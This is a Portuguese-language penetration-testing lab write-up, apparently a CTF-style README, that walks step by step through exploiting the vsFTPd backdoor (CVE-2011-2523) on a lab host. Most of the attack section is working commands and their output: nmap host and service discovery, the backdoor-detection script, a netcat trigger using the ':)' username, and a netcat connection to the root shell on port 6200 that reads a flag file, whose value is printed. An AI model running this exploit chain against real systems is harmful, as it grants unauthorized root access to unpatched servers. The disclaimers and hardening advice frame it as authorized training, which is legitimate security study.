🔐 Avaliação de Vulnerabilidades e Testes de Penetração (VAPT)

📌 Projeto: Passo a Passo da Exploração do Alvo

⚠️ Este projeto é apenas para fins educacionais e de testes autorizados.
O acesso não autorizado a sistemas é estritamente proibido.

👨‍💻 Autor

SYAFIQ
Função: Líder de Testes de Penetração

🎯 Informações do Alvo

• IP do Alvo: 10.150.150.12
• Sistema Operacional: Ubuntu Linux
• Status: 🔴 CRÍTICO (Backdoor Detectado)
• Vulnerabilidade: CVE-2011-2523 (Backdoor do vsFTPd)

🧭 Visão Geral do Ataque

🚀 Passo a Passo

🔍 Passo 1: Reconhecimento de Rede

Escaneie a rede em busca de hosts ativos:

nmap -sn --unprivileged 10.150.150.10-30

✅ Resultado:

-8 hosts detectados -Alvo identificado: 10.150.150.12

🔎 Passo 2: Enumeração de Serviços

Escaneie portas e serviços abertos:

nmap -Pn -F --unprivileged -sV 10.150.150.12

✅ Descobertas:

-Porta 21 → FTP (vsftpd) -Porta 22 → SSH (OpenSSH 8.2p1)

⚠️ Passo 3: Escaneamento de Vulnerabilidades

Verifique se há vulnerabilidade conhecida de backdoor no FTP:

nmap -Pn --unprivileged -p21 --script ftp-vsftpd-backdoor 10.150.150.12

🚨 Resultado:

-Alvo VULNERÁVEL -CVE-2011-2523 confirmada

💣 Passo 4: Exploração

Acione a backdoor usando um nome de usuário malicioso:

(echo "USER hello:)"; echo "PASS password"; sleep 1) | nc -nv 10.150.150.12 21

⚡ Isso abre um shell root oculto na porta 6200

🔓 Passo 5: Obter Acesso (Shell Root)

Conecte-se à backdoor e execute comandos:

(echo "id; cat /root/FLAG1.txt"; sleep 1) | nc -nv 10.150.150.12 6200

✅ Resultado:

Acesso root obtido uid=0(root) confirmado

🏁 Flag Capturada:

5ee499eb5d0b8e4269b13483e57adaa0b3815f48

🧠 Principais Lições

Sempre atualize serviços desatualizados (vsFTPd estava vulnerável) Serviços mal configurados podem levar ao comprometimento total do sistema Varreduras simples podem revelar vulnerabilidades críticas -🛡️ Recomendações -🔄 Atualize o serviço FTP para a versão mais recente -🚫 Desative serviços desnecessários -🔐 Use firewall para restringir o acesso -📊 Realize auditorias de segurança regularmente -📚 Aviso Legal

Este projeto foi criado estritamente para:

Aprender segurança cibernética Praticar hacking ético Realizar testes de penetração autorizados

❌ NÃO use esse conhecimento para atividades ilegais.

⭐ Nota Final

“Segurança não é um produto, mas um processo.” — Sempre teste, monitore e melhore.